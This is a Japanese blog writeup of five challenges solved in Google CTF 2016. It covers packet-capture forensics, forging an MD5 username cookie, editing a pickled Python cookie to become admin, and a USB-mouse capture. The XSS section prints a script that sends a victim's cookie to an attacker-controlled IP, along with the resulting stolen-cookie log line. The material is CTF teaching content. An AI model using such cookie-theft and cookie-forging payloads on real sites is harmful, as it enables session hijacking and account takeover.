jtwp470’s blog

日記とかプヨグヤミングとか

Google Capture the Flag 2016 Writeup

こんにちは.たんごです. 最近はだんだん暖かくなって過ごしやすい気候になりました.

さて天下のGoogle先生がCTFをやるということである意味注目を集めていたように思える今回のCTFですがとりあえず頑張りました(小並感).

我がg0tiu5aは6問を解き(1問はFeedback) 360 pts 250 th でした. 雑魚い結果ですねw

解けた問題のWriteupを載せていきたいと思います.

In Recorded Conversation (25 pts) [Forensics]

IRCの通信をしているPCAPファイルが渡されます.すべて平文でやり取りされていて適当に見ているとFlagがあります.

f:id:jtwp470:20160503174949p:plain

Flag: CTF{some_leaks_are_good_leaks_}

Ernst Echidna (50 pts) [Web]

Hintには/robots.txtを匂わせる文が書いてあります.大抵ソースコードが与えられないWeb問を解くときはとりあえず /robots.txt を見たり, .git がないかなど調査すると良いかなって感じです.

見ると /admin の存在がわかります. アクセスしてみると You are not logged in... といわれます. 仕方ないのでユーザー登録してみます. すると /welcome に遷移して何もできなくなりました.そこでCookieを見てみます.

md5-hash:db1bd9a98ea54cefda096688b855de98

ほう.何かをMD5ハッシュ化したものがCookieにセットされていました.今回私は jtwp470 というユーザー名を登録してみたので自分の環境でMD5ハッシュを確認してみます.

 $ echo -n "jtwp470" | md5sum
db1bd9a98ea54cefda096688b855de98  -

おっ. ユーザー名のMD5ハッシュ値で認証しているガバガバサイトであることがわかりました.そこで adminMD5をセットして /admin にアクセスするとFlagが得られます.

Flag: CTF{renaming-a-bunch-of-levels-sure-is-annoying}

Spotted Quoll (50 pts) [Web]

この問題, はじめはクッキーに入っている値がPythonのPickleの値を直接ロードしているため, シェルを取れるかもしれないなと思いいろいろ試行していました. しかし長いクッキーを送ると500になってしまうことから,PythonのPickleオブジェクトをロードしサーバー側スクリプトで変数を持っているのでは?と考えました.そこで直接Pythonシェルを起動してロードしてみます.

>>> pickle.loads(base64.b64decode("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu"))
{'python': 'pickles', 'subtle': 'hint', 'user': None}

userの部分がNoneになっているのが怪しいですね.そこでadminをセットしてみます.

>>> base64.b64encode(pickle.dumps({'python': 'pickles', 'subtle': 'hint', 'user': "admin"}))
'KGRwMApTJ3B5dGhvbicKcDEKUydwaWNrbGVzJwpwMgpzUydzdWJ0bGUnCnAzClMnaGludCcKcDQKc1MndXNlcicKcDUKUydhZG1pbicKcDYKcy4='

これを元々セットされていたクッキーと置換し /admin にアクセスするとFlagが得られました.

Flag: CTF{but_wait,theres_more.if_you_call}

Wallowing Wallabies - Part One (25 pts) [Web]

問題文を読むと途中でこんな文面が追加されました.

Please note Please do not run automated scanners against the target - that's not the intended solution. Instead, perhaps look up "xss cookie catching", "xss cookie stealing" and other documents along those lines. Thanks!

どうやらXSSCookieを盗むことができるようです.一体どこでXSSするんだって感じですがとりあえず /robots.txt にアクセスするとなにかURLが貼ってあります.

User-agent: *
Disallow: /deep-blue-sea/
Disallow: /deep-blue-sea/team/
# Yes, these are alphabet puns :)
Disallow: /deep-blue-sea/team/characters
Disallow: /deep-blue-sea/team/paragraphs
Disallow: /deep-blue-sea/team/lines
Disallow: /deep-blue-sea/team/runes
Disallow: /deep-blue-sea/team/vendors

一番最後のURLのみアクセスできました. 書いてある文書を読むと下のフォームにアクセスしたい場所を書けばすぐさまAdminが動かしているBOTくんが反応してくれるみたいなことが書いてあります. つまりこやつからXSSしてキャッシュをパクればいいことがわかります.ですので適当にサーバーを立ち上げXSSしましたw

<script src=""></script>
<script>document.location='http://[your_ip_addr]/?c='+document.cookie;</script>

するとサーバー側のログに以下の様なものが残ります.

146.148.94.130 - - [04/May/2016:01:38:44 +0900] "GET /?c=green-mountains=eyJub25jZSI6IjNhNDk4MGQ1ZDFjNmFlNGEiLCJhbGxvd2VkIjoiXi9kZWVwLWJsdWUtc2VhL3RlYW0vdmVuZG9ycy4qJCIsImV4cGlyeSI6MTQ2MjI5MzUyOX0=|1462293526|32144459c6dc76fa907bcc50b3c7eeaa6275faf0 HTTP/1.1" 200 427 "http://ctf-wallowing-wallabies.appspot.com/under-the-sea/application/31337" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36"

このキャッシュをセットして再度アクセスするとFlagが得られます.

f:id:jtwp470:20160504014304p:plain

Flag: CTF{feeling_robbed_of_your_cookies}

For2 (200 pts) [Forensics]

PCAPファイルですがUSBマウスのキャプチャーをしているようです.色々調べているとどうやらBKPCTFの過去問をパクった問題みたいであることがわかります.

write-ups-2015/boston-key-party-2015/school-bus/riverside at master · ctfs/write-ups-2015 · GitHub

ここに載っているWriteupのコードをほぼ丸パクりしFlagを得ました.

最初上記Writeupをそのままパクりましたが以下の様な画像が出てきて読めませんでした. f:id:jtwp470:20160504014656p:plain

そこでWriteup一覧にあった writeups/ctfs/boston-key-party-2015/riverside at master · cesena/writeups · GitHub

Rubyコードをそのまま利用して描画した画像が以下です.

f:id:jtwp470:20160504014702p:plain

おっ読める.

Flag: CTF{tHE_cAT_iS_the_cULpRiT}

まとめ

Google CTF天下のGoogle様が行うやつだから雑魚どもは解けないエグい問題ばかりかと思っていましたが(特にTeaserのせいで)そうでもなかったなというような感じでした.個人的にはこういう相手のクッキーをパクるみたいなXSS問題はなかなか出てこないのでいい練習になりましたw

CTFサーバーがまだ動いているみたいなのでWeb問は1通りWriteupを読みつつ復習していきたいなという感じです.